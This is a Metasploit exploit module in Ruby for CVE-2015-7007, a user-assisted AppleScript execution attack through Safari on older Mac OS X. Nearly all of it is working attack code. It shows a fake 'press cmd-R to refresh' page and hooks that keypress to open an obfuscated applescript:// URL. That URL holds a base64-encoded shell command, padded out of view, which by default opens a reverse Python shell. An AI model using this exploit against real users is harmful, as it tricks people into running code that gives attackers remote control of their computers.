Apple Safari – User-Assisted Applescript Exec Attack (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::EXE include Msf::Exploit::Remote::BrowserExploitServer def initialize(info = {}) super(update_info(info, 'Name' => 'Safari User-Assisted Applescript Exec Attack', 'Description' => %q{ In versions of Mac OS X before 10.11.1, the applescript:// URL scheme is provided, which opens the provided script in the Applescript Editor. Pressing cmd-R in the Editor executes the code without any additional confirmation from the user. By getting the user to press cmd-R in Safari, and by hooking the cmd-key keypress event, a user can be tricked into running arbitrary Applescript code. Gatekeeper should be disabled from Security & Privacy in order to avoid the unidentified Developer prompt. }, 'License' => MSF_LICENSE, 'Arch' => ARCH_CMD, 'Platform' => ['unix', 'osx'], 'Compat' => { 'PayloadType' => 'cmd' }, 'Targets' => [ [ 'Mac OS X', {} ] ], 'DefaultOptions' => { 'payload' => 'cmd/unix/reverse_python' }, 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 16 2015', 'Author' => [ 'joev' ], 'References' => [ [ 'CVE', '2015-7007' ], [ 'URL', 'https://support.apple.com/en-us/HT205375' ] ], 'BrowserRequirements' => { :source => 'script', :ua_name => HttpClients::SAFARI, :os_name => OperatingSystems::Match::MAC_OSX } )) register_options([ OptString.new('CONTENT', [false, "Content to display in browser", "This page has failed to load. Press cmd-R to refresh."]), OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes']) ], self.class) end def on_request_exploit(cli, request, profile) print_status("Sending #{self.name}") send_response_html(cli, exploit_html) end def exploit_html "<!doctype html><html><body>#{content}<script>#{exploit_js}</script></body></html>" end def exploit_js js_obfuscate %Q| var as = Array(150).join("\\n") + 'do shell script "echo #{Rex::Text.encode_base64(sh)} \| base64 --decode \| /bin/sh"'; var url = 'applescript://com.apple.scripteditor?action=new&script='+encodeURIComponent(as); window.onkeydown = function(e) { if (e.keyCode == 91) { window.location = url; } }; | end def sh 'killall "Script Editor"; nohup ' + payload.encoded end def content datastore['CONTENT'] end end |